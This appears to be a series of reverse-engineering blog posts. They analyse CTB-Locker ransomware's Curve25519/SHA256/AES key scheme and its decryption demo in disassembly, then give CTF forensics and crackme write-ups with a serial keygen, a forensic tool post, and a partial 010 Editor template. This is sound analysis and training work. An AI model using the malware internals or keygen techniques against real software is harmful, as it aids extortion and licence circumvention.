CTB-Locker encryption/decryption scheme in details

After my last post about CTB-Locker I received a lot of e-mails from people asking for a complete analysis of the malware. Most of them wanted to know if it’s possible to restore the compromised files without paying the ransom. The answer is simple: it’s impossible without knowing the Master key! That key resides on the malicious server and it’s the only way to restore every single compromised file.

There are a some articles on the net about CTB-Locker’s modus-operandi. Everyone knows that ZLib is used, AES is used but only few of them mention the use of SHA256+Curve. To explain everything in details I’ll show you how encryption/decryption is done, step by step.

Preamble: HIDDENINFO
HiddenInfo file is the core of the malware, it’s full of precious data. There’s no need to explain every field of the file, a closer look at the first part of it would suffice because it has an important part in the encryption/decryption scheme.

DCE1C1   call    ds:CryptGenRandom
DCE1C7   lea     eax, [ebp+systemTimeAsFileTime]
DCE1CA   push    eax
DCE1CB   call    ds:GetSystemTimeAsFileTime
DCE1D1   call    ds:GetTickCount
DCE1D7   mov     [ebp+gettickcountVal], eax
DCE1DA   call    ds:GetCurrentThreadId
DCE1E0   mov     esi, eax         
DCE1E2   rol     esi, 10h                      ; Shift ThreadID
DCE1E5   call    ds:GetCurrentProcessId 
DCE1EB   xor     eax, esi                      ; ThreadID and ProcessID values inside the same dword
DCE1ED   mov     [ebp+threadID_processID], eax
DCE1F0   mov     esi, 0EB7910h
DCE1F5   lea     edi, [ebp+machineGuid]
DCE1F8   movsd                                 ; Move MachineGUID
DCE1F9   movsd
DCE1FA   movsd
DCE1FB   lea     eax, [ebp+random]             ; Random sequence of bytes
DCE1FE   push    34h                           ; Number of bytes to hash
DCE200   push    eax                           ; Sequence of bytes to hash
DCE201   mov     ecx, ebx                      ; Output buffer
DCE203   movsd
DCE204   call    SHA256                        ; SHA256(random)
DCE209   mov     al, [ebx+1Fh]
DCE20C   and     byte ptr [ebx], 0F8h
DCE20F   push    0E98718h                      ; Basepoint
DCE214   and     al, 3Fh
DCE216   push    ebx                           ; SHA256(random)
DCE217   push    [ebp+outputBuffer]            ; Public key
DCE21A   or      al, 40h
DCE21C   mov     [ebx+1Fh], al
DCE21F   call    curve_25519     

The snippet is part of a procedure I called GenSecretAndPublicKeys. The secret key is obtained applying SHA256 to a random sequence of 0x34 bytes composed by:

   0x14 bytes: from CryptGenRandom function
   0x08 bytes: from GetSystemTimeAsFileTime
   0x04 bytes: from GetTickCount
   0x04 bytes: from (ThreadID ^ ProcessID)
   0x10 bytes: MachineGuid

Curve25519 is used to generate the corresponding public key. You can recognize the algo from Basepoint vector because it’s a 0x09 byte followed by a series of 0x00 bytes (For a quick overview over the Elliptic curve algorithm used by the malware take a look here: http://cr.yp.to/ecdh.html).
GenSecretAndPublicKeys is called two times, so two private and two public keys are created. I name them as ASecret, APublic, BSecret and BPublic.

DCF1E7   mov     [esp+274h+public], offset MasterPublic   ; MPublic key
DCF1EE   push    eax                                      ; BSecret
DCF1EF   lea     eax, [ebp+Shared_1]                      ; Shared_1
DCF1F5   push    eax                                              
DCF1F6   call    curve_25519     
DCF1FB   add     esp, 0Ch
DCF1FE   lea     eax, [ebp+Shared_1]
DCF204   push    20h                                               
DCF206   push    eax                                               
DCF207   lea     ecx, [ebp+aesKey]                        ; Hash is saved here
DCF20A   call    SHA256

SHA256(curve_25519(Shared_1, BSecret, MPublic))
Shared secret computation takes place. MPublic is the Master public key and it’s visible inside the memory address space of the malware. The Master secret key remains on the malicious server. To locate the Master public key is pretty easy because it’s between the information section (sequence of info in various languages) and the “.onion” address. Shared secret is then putted inside SHA256 hash algorithm, and the result is used as a key for AES encryption:

DCF20F   lea     eax, [ebp+aesExpandedKey]
DCF215   push    eax
DCF216   mov     edx, 100h
DCF21B   lea     ecx, [ebp+aesKey]
DCF21E   call    AEXExpandKey
DCF223   add     esp, 0Ch
DCF226   xor     edi, edi
DCF228   lea     ecx, [ebp+aesExpandedKey]
DCF22E   lea     eax, [edi+0EF71ACh]
DCF234   push    ecx
DCF235   push    eax
DCF236   push    eax
DCF237   call    AES_ENCRYPT     ; AES encryption

The malware encrypts a block of bytes (named SecretInfo) composed by:

SecretInfo:
   ASecret              ; a secret key generated by GenSecretAndPublicKeys
   MachineGuid          ; Used to identify the infected machine
   Various information (fixed value, checksum val among others)

Not so hard but it’s better to outline everything:

     ASecret = SHA256(0x34_random_bytes)
     Curve_25519(APublic, ASecret, BasePoint)
     BSecret = SHA256(0x34_random_bytes)
     Curve_25519(BPublic, BSecret, BasePoint)
     Curve_25519(Shared_1, BSecret, MPublic)
     AES_KEY_1 = SHA256(Shared_1)
     Encrypted_SecretInfo = AES_ENCRYPT(SecretInfo, AES_KEY_1)

Part of these informations are saved inside HiddenInfo file, more precisely at the beginning of it:

HiddenInfo:
   +0x00 offset: APublic
   +0x24 offset: BPublic
   +0x44 offset: Encrypted_SecretInfo

So, two public keys are visible, but private key ASecret is encrypted. It’s impossible to get the real ASecret value without the AES key…
Ok, now that you know how HiddenInfo file is created I can start with the file encryption scheme.

CTB-Locker file encryption

C74834   lea     eax, [ebp+50h+var_124]   ; Hash will be saved here
C7483A   push    eax             
C7483B   lea     eax, [ebp+50h+var_E4]
C74841   push    30h             
C74843   lea     edi, [ebp+50h+var_D4]
C74849   push    eax                      ; 0x30 random bytes
C7484A   rep movsd               
C7484C   call    SHA256Hash
   ...
C7486E   push    eax                      ; BasePoint
C7486F   lea     eax, [ebp+50h+var_124]
C74875   push    eax                      ; CSecret: SHA256(0x30_random_bytes)
C74876   lea     eax, [ebp+50h+var_B4]
C74879   push    eax                      ; CPublic
C7487A   call    curve25519               ; Generate a public key
C7487F   push    offset dword_C943B8      ; DPublic: first 32 bytes of HiddenInfo (*)
C74884   lea     eax, [ebp+50h+var_124]
C7488A   push    eax                      ; CSecret
C7488B   lea     eax, [ebp+50h+var_164]
C74891   push    eax                      ; Shared_2
C74892   call    curve25519               ; Generate shared secret
C74897   lea     eax, [ebp+50h+var_144]
C7489D   push    eax
C7489E   lea     eax, [ebp+50h+var_164]
C748A4   push    20h
C748A6   push    eax                      ; Shared_2
C748A7   call    SHA256Hash               ; SHA256(Shared_2)
   ...
C74955   push    34h
C74957   push    [ebp+50h+var_18]         ; Compression level: 3
C7495A   lea     eax, [ebp+50h+PointerToFileToEncrypt]
C7495D   push    eax                      ; Original file bytes to compress
C7495E   call    ZLibCompress    
   ...
C74B1F   push    [ebp+50h+var_4]
C74B22   lea     ecx, [ebp+50h+expandedKey]   ; SHA256(Share_2) is used as key
C74B28   push    [ebp+50h+var_4]
C74B2B   call    AES_Encrypt                  ; It encrypts 16 bytes per round starting from the first 16 bytes of the ZLib compressed file
C74B30   add     [ebp+50h+var_4], 10h 
C74B34   dec     ebx                          ; Increase the pointer to the bytes to encrypt
C74B35   jnz     short loc_C74B1F             ; Jump up and encrypt the next 16 bytes

It’s quite easy indeed, it uses the same functions (SHA256, Curve, AES). To understand what’s going on you only have to follow the code. The operations sequence is:

     CSecret = SHA256(0x30_random_bytes)
     Curve_25519(CPublic, CSecret, BasePoint)
     Curve_15519(Shared_2, CSecret, APublic) (*)
     AES_KEY_2 = SHA256(Shared_2)
     ZLibFile = ZLibCompress(OriginalFile)
     Encrypted_File = AES_Encrypt(ZLibFile, AES_KEY2)

(*) DPublic inside the disassembled code is indeed APublic (first 32 bytes of HiddenInfo)

That’s the way how CTB-Locker encrypts the bytes of the orginal file. These bytes are saved into the new compromised file with some more data. A typical compromised file has the next structure:

   +0x00 offset: CPublic
   +0x20 offset: AES_Encrypt(InfoVector, AES_KEY_2)
   +0x30 offset: AES_Encrypt(ZLibFile, AES_KEY2)

InfoVector is a sequence of 16 bytes with the first four equals to “CTB1″, this tag word is used to check the correctness of the key provided by the server during the decryption routine.
The decryption demonstration feature, implemented by the malware to prove that it can restore the file, uses
AES_KEY_2 directly. If you remember the key was saved inside HiddenInfo, there are a total of five saved keys.
In this case if you have CSecret you can easily follow the process described above (remember that APublic comes from the first 32 bytes of HiddenInfo), but without CSecret it’s impossible to restore the original files.

It’s important to note that in the encryption process CTB-Locker doesn’t need an open internet connection. It doesn’t send keys/data to the server, it simply encrypts everything! Internet connection is needed in the decryption part only.

CTB-Locker file decryption
At some point, before the real decryption process, there’s a data exchange between the infected machine and the malicious server. The malware sends a block of bytes (taken from HiddenInfo) to the server and the server replies sending back the unique decryption key. The block is composed by the BPublic key, SecretInfo and some minor things:

DataToServer:
   32 bytes: BPublic
   90 bytes: SecretInfo
   16 bytes: general info

The malware uses the key to restore the files. Do you remember the decryption part from my last post? Well, the real decryption scheme is not so different. There’s one more step, the calculation of the AES key. To do that the unique key sent by the server is used to decrypt every file:

     curve_25519(Shared, Unique_Key, first_0x20_byte_from_compromised_file)
     AES_DECRYPTION_KEY = SHA256(Shared)
     ZLibFile = AES_Decrypt(Encrypted_File, AES_DECRYPTION_KEY)
     OriginalFile = ZLibDecompress(ZLibFile)

The unique key is sent just one time, so the decryption method needs only one key to decrypt all the compromised files. How is it possible?

My explanation
From HiddenInfo part I have:
     Curve_25519(APublic, Asecret, BasePoint)
     Curve_25519(BPublic, BSecret, BasePoint)
     Curve_25519(Shared_1, BSecret, MPublic)
     AES_KEY_1 = SHA256(Shared_1)
     Encrypted_SecretInfo = AES_ENCRYPT(SecretInfo, AES_KEY_1)

The server receives DataToServer and it applies the principle of elliptic curve:

     Curve_25519(Shared_1, MSecret, BPublic)

Shared_1 from the server is equal to Shared_1 calculated in the HiddenInfo creation part.
Now, with Shared_1 it AES decrypts SecretInfo obtaining ASecret key. ASecret is the key used to decrypt all the compromised files.

From Encryption part:
     Curve_25519(CPublic, CSecret, BasePoint)
     Curve_15519(Shared_2, CSecret, APublic)
     AES_KEY_2 = SHA256(Shared_2)
     ZLibFile = ZLibCompress(OriginalFile)
     Encrypted_File = AES_Encrypt(ZLibFile, AES_KEY_2)

Saying that, here is how to use ASecret in the decryption process (applying the same EC principle):
     Curve_25519(Shared_2, ASecret, CPublic)
     AES_KEY_2 = SHA256(Shared_2)
     ZLibFile = AES_Decrypt(Encrypted_File, AES_KEY_2)
     OriginalFile =ZLibDecompress(ZLibFile)

So, ASecret is the Unique_Key computed by the server and it’s used to decrypt every file. That means one thing only, without MSecret you can’t restore your original files…

Final thoughts
There’s nothing much to say really. CTB-Locker is dangerous and it will damage systems until people will do double-click over attachments.. sad but true.

Feel free to contact me for comments, criticisms, suggestions, etcetc!

CTB-Locker: files decryption demonstration feature

The idea of this blog post was born after reading an italian article about CTB-Locker. I don’t remember where I read it, but a single phrase caught my attention. It sounds like: “the malware proves that it’s able to decrypt some files, so the keys are saved somewhere”. I received a CTB-Locker sample on my personal mail box, so I decided to give it a try, just to satisfy my curiosity.
The post is based on a reversing session over a single file (810d51f6a5b4f8396ecf9407e427b999b316ecc28d53a759401143442b1a5cf8), but I think you can apply the general scheme to another sample of the same family.

Basically, all the information required by the malware are saved inside two distinct files: HelpFile and HiddenInfo. You won’t find these two files on an infected machine because these are confidential names I used while I was reversing the malware, the real names are generated following a precise scheme. To understand how the real names are generated I have to introduce the very first crypto scheme used by the malware, this is very important for the entire encryption/decryption process.

Everything starts from the value of the key:
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
The malware removes ‘-‘, converting everything into a sequence of 32 bytes (i.e. “463109ab-151a-463a-348e-79bbc9369cbd” becomes b’\x46\x31\x09\xab\x15\x1a\x46\x3a\x34\x8e\x79\xbb\xc9\x36\x9c\xbd’). Then SHA256 is applied:
CoreHash = SHA256(converted_MachineGUID)

CoreHash is composed by 8 dwords and each one of them is used for a specific job, for this blog post I’ll focus on the first and fourth dwords.

The HelpFile real name is constructed calling the next function with the CoreHash’s fourth dword as input:

Random file name generation

The real name is 7 bytes long and every single char is built after two simple math operations. HelpFile has “.html” extension and it’s used to show ransom info to the infected user, it’s just like a *FAQ* page on how to restore all the compromised files. The message is available in four languages: de, it, nl and en.

FAQ

This is the it version, but you can easily identify the server addresses, the tor access and the public keys. The last part of the file contains the list of the compromised files. Well… interesting but the keys I was searching for are not here!

The real name of HiddenInfo is obtained in the same way, but this time the parameter passed to the routine is the first dword of CoreHash. The file is without extension, it’s an hidden file and there are 0x28E meaningless bytes inside.
HiddenInfo is very important and it has a specific format, but everything is visible after a quite simple decryption process.

The malware uses AES:

DD1163 mov ecx, 0EF93F8h            ; Decryption key: CoreHash
DD1168 call AESExpandKey
...
DD1181 lea edi, [esi+27Eh]          ; Decryption starts from block at offset 0x27E
DD1187 Decrypt_32_bytes_block:
DD1187 lea eax, [ebp+expandedKey]   
DD118D push eax
DD118E push edi                     ; Block to decrypt
DD118F push edi                     ; Output buffer (bytes are replaced)
DD1190 call AESDecrypt
DD1195 add esp, 0Ch
DD1198 dec [ebp+arg_0]              ; initial value is 0x27E
DD119B dec edi                      ; Update the pointer to the block to decrypt
DD119C cmp [ebp+arg_0], 0
DD11A0 jge Decrypt_32_bytes_block

I told you it’s simple.
This file is important for the malware, and to be sure of its integrity the malware uses a checksum algo over the first 0x28C decrypted bytes:

DD11A2 push 28Ch                    ; Number of bytes used for the checksum
DD11A7 mov ecx, esi                 ; Sequence of 0x28E decrypted bytes
DD11A9 call Checksum                ; ax gets the final value
DD11AE pop ecx
DD11AF pop edi
DD11B0 cmp [esi+28Ch], ax           ; Is checksum ok?
DD11B7 jnz short corrupted_file

The value from the last two bytes of HiddenInfo is the valid checksum value, it was calculated during the encryption process. If the checksum is ok, at the end of the procedure you have the clean and readable HiddenInfo file. It’s full of hidden info, but in this case I’m interested in a minor part of the file only. Let’s start with this interesting block of 160 bytes:

5 keys in sequence

What’s behind the selected bytes starting from 0xEC offset? It’s the sequence of 5 keys used by the malware in the demonstration process to correctly decrypt 5 files. I have 5 keys and nothing else, the malware doesn’t specify the name of the files associated to the defined keys. To get the list of the 5 files I had to reverse the malware a little bit more, look here:

Decrypt candidate file

The idea is simple: it tries to apply the keys to every single compromised file. It stops the process when all the right candidate files are found. The malware has a complete list of the compromised files. How does he know what’s the right key?

Check decrypted candidate

As you can see, in order to pass the *key test*, the malware decrypts a little part of the candidate file only (bytes from 0x20 to 0x2F offset). The resulting 16 bytes of a valid candidate are:
4 bytes: unique string “CTB1″, it’s the same for every compromised file
4 bytes: number of bytes of the original file
4 bytes: number of bytes of the compromised file
4 bytes: fixed value 1
The first and last dword are used in the key check. In the end of all, there are two simple checks to get the connection between a candidate file and his key.

Now that the key has been found the malware is ready to restore the original file. This is done in two distinct steps, and it involves the entire file except the first initial 0x30 bytes.

DCE780 mov [ebp+var_8], eax
DCE783 decrypt_next_block: 
DCE783 lea eax, [ebp+expandedKey]
DCE789 push eax
DCE78A push [ebp+var_4]             ; Buffer of 16 bytes to decrypt 
DCE78D push [ebp+var_4]             ; Save the result in the same buffer
DCE790 call AESDecrypt              ; Decrypt the current block
DCE795 add [ebp+var_4], 10h         ; Switch to the next block
DCE799 add esp, 0Ch
DCE79C dec [ebp+var_8]              ; Update the number of block to decrypt
DCE79F jnz short decrypt_next_block

Decryption is done in blocks of 32 bytes (16 from the file and 16 equals to 0x00). The last step consists in a Zlib decompression (the compression is done with level 3).
Now you have your original file back.

Conclusion: the CTB-Locker demonstration process works with some files only and the keys are all hardcoded inside HiddenInfo file, it’s impossible to restore other files following this method.

Curiosity satisfied, see you soon!

Nullcon HackIM 2015: Forensics 500 writeup

To complete the level I have to find the size of a pagefile stored inside a 4Gb file.

First of all I tried to understand what kind of file is this:

python filehunter.py -l Image

ELF at the beginning, FileHunter reveals some more info about it:

python filehunter.py -d 0 ELF Image

Hmm, the type of the first three entries is ok but the last one seems to be odd. What’s ‘pmem’?
Looking at the start offset I hoped to find a familiar header:

python filehunter.py -sb 0x7ff7e120 Image

WinPMEM was used to dump memory, this tool can also acquire pagefile and it’s included inside Rekall Memory Forensic Framework. To get the right answer for this forensics level I used Rekall:

rekal.exe -f Image / pagefiles

‘-f’ option is used to load the image file. Once the file has been loaded I tried the ‘pagefiles’ command. Rekall is able to show the size of the pagefile: 2146951168

Flag is: flag{2146951168}

PS. look at the end of the Image file, there’s another pmem header showing the answer. 500 points in few seconds… easy money!

# PMEM
---
PreviousHeader: 0x7ff7e120
PagefileOffset: 0x7ff7e1f5
PagefileSize: 0x7ff7e000

Solution to Kirjava crackme#3: a simple virtual machine

Here’s my solution to a nice crackme, not so hard but enjoyable. The crackme rules are simple:
1. No patching!
2. A valid solution has a keygen and a tutorial!
Extra info: just a very simple algo with some anti-analysis tricks

The crackme is not packed/protected, I decided to start looking at the disasm output.
GetDlgItemTextA function is used to read both name and serial. Once the checks over name and serial are passed (strlen(name) > 4, strlen(serial) == 8) you’ll face the next snippet:

403ED0 nop
403ED1 mov ecx, dword_40ADB0
403ED7 call 4033A0
403EDC test eax, eax
403EDE jz short loc_403ED0
403EE0 mov ecx, dword_40ADB0
403EE6 cmp dword ptr [ecx+4], 0FFh
403EED mov esi, ecx
403EEF jnz short loc_403F19
...
Show congratulation box
...
403F16 retn 10h
403F19
...
Show error notification box
...
403F3E retn 10h

It’s obvious, first of all I have to understand what’s the content of the procedure at 0x4033A0 address is. The procedure’s code is really long but a trained eye understands immediately what’s behind everything. Why? Mainly because there’s a big switch, and there are a lot of snippets with common things like “esi+0C”, “esi+438″, “add ecx, value”. When I face this kind of algorithm I always start trying to verify if it’s an implementation of a Virtual Machine or not. I could be wrong but most of the time VM protections are easily identificable. To verify the correctness of my assumption is quite easy, a glance to the snippets used to implement VM instructions is enough.

(0x00: nop):
403A45 nop
403A46 add [esi+438h], ebx   <-- update eip by 1
403A4C pop edi
403A4D pop esi
403A4E xor eax, eax
403A50 pop ebx
403A51 retn

This is the first snippet I checked, it only adds one to the dword pointed by esi+0x438. That’s a nop, almost every VM has a nop instruction.
Let’s take a look to another snippet:

(0x61: mov reg_i, dword_val):
4036F4 mov ecx, esi
4036F6 call loc_403360
4036FB test al, al
4036FD jz loc_40342F
403703 mov eax, [esi+438h]   <-- eip
403709 movzx edx, byte ptr [eax+1]   <-- register index
40370D mov eax, [eax+2]   <-- dword value
403710 mov [esi+edx*4+0Ch], eax   <-- save the value inside register
403714 add dword ptr [esi+438h], 6   <--- update eip
40371B pop edi
40371C pop esi
40371D xor eax, eax
40371F pop ebx
403720 retn

The snippet is used to move a dword value inside a register. The instruction has two parameters, the register index and the value to move.
As you can see it’s really easy to understand every single snippet with a possible VM implementation in mind.

The VM implemented inside the crackme is simple:
eip is stored at [esi+0x438]
flag is stored at [esi+0x42]
there are 8 dword registers stored from [esi+0xc] to [esi+0x28]
starting from [esi+0x2c] there’s a private memory buffer

It’s all quite easy except the memory buffer that needs some more details. The memory buffer used by the VM contains data that are not stored in a sequential way. What does it mean? Think of a memory buffer like a dword sequence where each bytes inside a dword has a specific meaning:
1° byte: is used to store the username’s chars
2° byte: is used to store the right_serial’s chars
3° byte: is used to store the fake serial’s chars
4° byte: you can live without knowing its meaning
So, an hypotetical piece of memory could be:

[esi+0x2c]: 5A 59 31 00   61 69 32 00   69 59 33 00 ...

where you can clearly see part of the username (“Zai”), part of the right serial (“YiY”) and part of the fake serial (“123″).
How does the crackme read a specific byte from the username, or the serial? The memory is addressed by a dword at [esi+0x42c], each byte of the dword is used as an index position of a specific byte of the username/right serial/fake serial.
i.e.: [esi+0x42c] = 02 00 01 00 means that the next operation over the:
– username will be done with the 1° byte of the 3° dword of the memory buffer (char ‘i’ of “Zai”)
– right serial will be done with the 2° byte of the 1° dword of the memory buffer (char ‘Y’)
– serial will be done with the 3° byte of the 2° dword of the memory buffer (char ‘2’)

Having said that, here is a description of the 0x62 VM opcode used to move a byte from memory buffer to a register.

mov reg_i, memory_buffer_j:
00403750 mov ecx, esi ; case 0x62
00403752 call loc_403360
00403757 test al, al
00403759 jz loc_40342F
0040375F mov eax, [esi+438h]   <-- eip
00403765 movzx ecx, byte ptr [eax+2]   <-- 2° operand
00403769 movzx edx, byte ptr [ecx+esi+42Ch]   <-- memory index position (refer to name, fake serial or right serial position)
00403771 movzx eax, byte ptr [eax+1]   <-- 1° operand
00403775 lea ecx, [ecx+edx*4+2Ch]   <-- position inside memory
00403779 movzx edx, byte ptr [ecx+esi]   <-- get byte from memory buffer
0040377D mov [esi+eax*4+0Ch], edx   <-- store byte into register
00403781 mov ecx, [esi+438h]
00403787 movzx edx, byte ptr [ecx+2]
0040378B add [edx+esi+42Ch], bl   <-- add 1 to the memory index position
00403792 add dword ptr [esi+438h], 3   <-- eip update
00403799 lea eax, [edx+esi+42Ch]
004037A0 pop edi
004037A1 pop esi
004037A2 xor eax, eax
004037A4 pop ebx
004037A5 retn

Every VM memory operation has the ability to increment the index memory pointer value, memory is read/write in sequential order.

Just another thing and then I’ll show you the complete algorithm with a simple keygen. Do you remember when I said “flag is stored at [esi+0x42]”? The VM has some conditional jump instructions and the only way to decide to jump or not depends on the value of a specific flag. This VM has one single flag, it takes 3 possible values: 1, 2 or 3 according to the result of a VM instruction like this one:

(0x81: cmp reg_i_val, dword_val):
40397C mov ecx, esi
40397E call loc_403360
403983 test al, al
403985 jz loc_40342F
40398B mov edx, [esi+438h]   <-- eip
403991 movzx ecx, byte ptr [edx+1]   <-- 1° parameter: reg index
403995 mov eax, [esi+ecx*4+0Ch]   <-- get dword value from reg
403999 mov ecx, [edx+2]   <-- 2° parameter: dword value
40399C cmp eax, ecx   <-- compare the two dword values
40399E jnz short loc_4039B2
4039A0 add edx, 6
4039A3 pop edi
4039A4 mov [esi+8], bl   <-- values are equal: flag = 1
4039A7 mov [esi+438h], edx
..
4039B8 mov byte ptr [esi+8], 3   <-- flag value 3
...
4039CB mov byte ptr [esi+8], 2   <-- flag value 2

There’s a compare between two values, one from a register and the other from a dword value. The flag at [esi+8] is updated depending on the compare result.
You can now imagine how a conditional jump instruction looks like:

4038C3 cmp byte ptr [esi+8], 2   <-- check flag value
4038C7 jnz loc_4035F9
4038CD sub ecx, [ecx+1]   <-- get the jump offset value
4038D0 pop edi
4038D1 mov [esi+438h], ecx   <-- jump!
...
4035F9 add ecx, 5   <-- add length conditional jump instruction
4035FC pop edi
4035FD mov [esi+438h], ecx   <-- update eip

The VM instructions are taken starting from 0x40A000, here is the initial byte sequence:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 00 00 61 02 00 00 00 00...

I showed you few instructions but the VM instruction set is simple, there are basically almost all the instructions of an x86 instruction set: mov, cmp, conditional jump and direct jump. Parameters are stored using little-endian system. The VM doesn’t have call instructions, and so it doesn’t need a real stack implementation.

The interesting part of the VM algorithm is:

0:   00                  nop 
     00                  nop
     00                  nop            
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop  
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop
     61 01 00 00 00 00   mov reg_1, 0x00000000 
     61 02 00 00 00 00   mov reg_2, 0x00000000 
     61 03 00 00 00 00   mov reg_3, 0x00000000
     61 04 00 00 00 00   mov reg_4, 0x00000000
     61 06 00 00 00 00   mov reg_6, 0x00000000
     61 07 00 00 00 00   mov reg_7, 0x00000000
     61 00 00 00 00 00   mov reg_0, 0x00000000
     20 00 00            mov m_0, 0x00
     00                  nop 
     20 00 01            mov m_0, 1
3F:  40 02               jmp $+2
41:  00                  nop 
42:  05 04               inc reg_4
     00                  nop 
     62 01 00            mov reg_1, m_0   <-- get current char from name
     00                  nop 
     81 01 00 00 00 00   cmp reg_1, 0x00000000
     00                  nop
     01 01               add reg_5, reg_0, reg_1
     00                  nop 
     60 05 00            mov reg_0, reg_5
     00                  nop 
57:  54 15 00 00 00      ja $-0x00000015
     00                  nop 
     06 04               dec reg_4
     00                  nop
     60 00 03            mov reg_3, reg_0
     13 AC DC 00 00      mul reg_5, reg_0, 0x0000DCAC
     61 07 4A 00 00 00   mov reg_7, 0x0000004A
6E:  40 02               jmp $+2
     00                  nop 
     63 07 03            mov m_3, reg_7
74:  46 06               loop $-0x06
     00                  nop 
     00                  nop  
     00                  nop 
     60 05 00            mov reg_0, reg_5
     00                  nop 
     17 88 77 66 55      xor reg_5, reg_0, 0x55667788
     00                  nop 
     60 05 00            mov reg_0, reg_5 
     00                  nop 
     14 15 00 00 00      div reg_5, reg_0, 0x00000015
     00                  nop 
     60 05 00            mov reg_0, reg_5
     00                  nop 
     03 06               mul reg_5, reg_0, reg_6
     60 05 00            mov reg_0, reg_5
     00                  nop 
     03 04               mul reg_5, reg_0, reg_4
     60 05 00            mov reg_0, reg_5 
     60 00 01            mov reg_0, reg_1 
     61 07 08 00 00 00   mov reg_7, 0x00000008 
A5:  14 3C 00 00 00      div reg_5, reg_0, 0x0000003C
     60 06 00            mov reg_0, reg_6 
     11 41 00 00 00      add reg_5, reg_0, 0x00000041
     60 05 00            mov reg_0, reg_5 
     63 00 01            mov m_1, reg_0           <-- save right serial char
     03 01               mul reg_5, reg_0, reg_1
     60 05 00            mov reg_0, reg_5 
     07 01               xor reg_5, reg_0, reg_1
     60 05 00            mov reg_0, reg_5 
     03 04               mul reg_5, reg_0, reg_4
     60 05 00            mov reg_0, reg_5 
     07 06               xor reg_5, reg_0, reg_6  
     60 05 00            mov reg_0, reg_5 
     17 00 BB 00 DD      xor reg_5, reg_0, 0xDD00BB00
     60 05 01            mov reg_1, reg_5 
D4:  45 2F               jnz_7 $-0x2F
     61 07 07 00 00 00   mov reg_7, 0x00000007 
     20 00 02            mov m_pos_2, 0x00       <-- my fake serial 
     20 00 01            mov m_pos_1, 0x00       <-- right serial
E2:  62 01 02            mov reg_1, memory_buffer_2
     62 02 01            mov reg_2, memory_buffer_1
     85 01 02            cmp reg_1, reg_2
     43 10 00 00 00      jb $+0x00000010
     44 0B 00 00 00      ja $+0x0000000B
F5:  45 13               jnz_7 $-0x13
     00                  nop  
     00                  nop 
     00                  nop 
     FF                  VM_SUCCESS

The implemented algorithm is quite easy, once you have the instructions sequence on a paper you can easily write a keygen. Here is a quick and dirty implementation of the keygen:

   sum = 0;
   for(int i=0;i< strlen(name);i++) 
      sum += (__int8)name[i];
   sum = (sum * 0xDCAC) ^ 0x55667788;
   q = sum / 0x15;
   r = sum % 0x15;
   len = strlen(name);
   tmp1 = (q * r) * len;	
   tmp2 = tmp1;
   for(int j=0;j<8;j++) {
      r = tmp2 % 0x3c;
      serial[j] = (char)(r + 0x41);
      tmp2 = ((((tmp1 * (__int32)serial[j]) ^ tmp1) * len) ^ r);
      tmp1 = tmp2 ^ 0xDD00BB00;
   }

Valid combinations are:
ZaiRoN / YiYaiQMm
crackmes.de / nmUQuME]
reversing / emAMy]Qy

That’s all folks!

My FileHunter forensic tool versus Sans Holiday Challenge 2014

The challenge deadline has arrived and a lot of writeups are coming out from various blog pages. The solutions of the first two parts are similar, but the last part has been solved approaching the problem in many ways.  As far as I’ve seen the most common approach is guided by the Linux mount command, but I’ve seen the use of Autopsy, Foremost, X-Ways Forensics and The Sleuth Kit just to mention some tools. I don’t know many of them, and I don’t even know that my FileHunter program is quite similar to Foremost.

Anyway, FileHunter (FH in the rest of the post) is a Python program, and the aim is to search for file signatures inside a generic file (it could be an image, a raw dump, a doc file, everything).

Here is the first thing to do, call the program passing the file to analyze as parameter. FH tries to understand all the possible file types contained inside the input file. With this simple invocation FH doesn’t check if one file is inside another one or not, it simply shows everything it’s able to recognize; the check is done over specific file signatures only. The offset is in decimal value.
When I saw the output I felt quite happy because the tool can extract all the displayed types except the DOC (I’m still working it).
12 files revealed but just 7 saved as correct files (except the DOC file of course). Why? Two options: some files are included in the previous saved file(s) or there is one or more false positive. The answer is a combination of both options.

So, seems like I have the necessary files except one. How can I extract the DOC?
The DOC class is incomplete because the extraction feature is not yet implemented but, like all the other types, it’s possible to see some details about the header.

“-d” option is used to get details about a specific file type at a certain location. Type and location are both passed via command line. These are the info I have added for a DOC type, nothing special I know but this type is still under development. I can’t say too much from the output, but I’m almost sure it’s a real DOC file: sector and mini stream sector have standard values, Word.Document exists and Root Entry is where it should be:
Ok, I have the starting point but not the end of the file. Can I guess it? Looking at the DOC details I know that the Word.Document keyword is at offset 2581068, it’s after some revealed file signatures (look at the first picture) and it’s higher than the other interesting values (like Directory or Mini FAT starting location). Taking a look at the bytes after 2581068 offset you’ll see a lot of 0x00 bytes followed by a JPEG file signature. Could it be a good end point for the DOC file? I think I can try to extract the DOC file stopping some bytes after offset 2581068 (it doesn’t matter if you don’t get the right end point of the original file):
File has been saved and I can view it with Word or OpenOffice or any other .doc viewer.
With all the necessary files I was able to locate every single secret message.

In the end, this is just an excerpt of FH. It’s based on Foremost principle but it has more features and I think it can be handy from time to time.

If you want to read some Sans Holiday Challenge 2014 complete solutions take a look at:

http://blog.superponible.com/2015/01/05/2014-sans-holiday-challenge/

https://jordan-wright.github.io/blog/2015/01/05/sans-holiday-challenge-2014-writeup/

http://hatsoffsecurity.com/2015/01/03/sans-christmas-hacking-challenge/

Quick post: arsc template for 010 Editor

Some days ago I was dealing with an Android malware, it hides strings and other things inside an arsc file. The resource item is identified by an hex value. The value contains three informations: Package id, Type id and Entry index. The problem is: can I easily recognize the resource item during a static analysis of the malware?

I didn’t search throught the net, I simply decided to write a 010 Editor template file able to parse .arsc files. I did test it over two files only (I don’t have more samples right now…), so it’s not perfect and it surely needs some more adjustments. It works fine on the samples btw, so I decided to put it online anyway. Feel free to add/remove/adjust/modify/etcetc…

//--------------------------------------
// File:      ARSCTemplate.bt
// Author:    ZaiRoN (@_zairon_ www.zairon.wordpress.com)
// File mask: *.arsc
// Purpose:   to parse Android arsc resource files

#define RES_STRING_POOL_TYPE        0x0001
#define RES_TABLE_TYPE              0x0002
#define RES_TABLE_PACKAGE_TYPE      0x0200
#define RES_TABLE_TYPE_TYPE         0x0201
#define RES_TABLE_TYPE_SPEC_TYPE    0x0202


typedef struct {
    ushort  type;               //  Type identifier of the chunk
    ushort  headerSize;         //  Size of the chunk header
    uint    size;               //  Size of the entire chunk
} RESCHUNK_HEADER;

typedef struct {
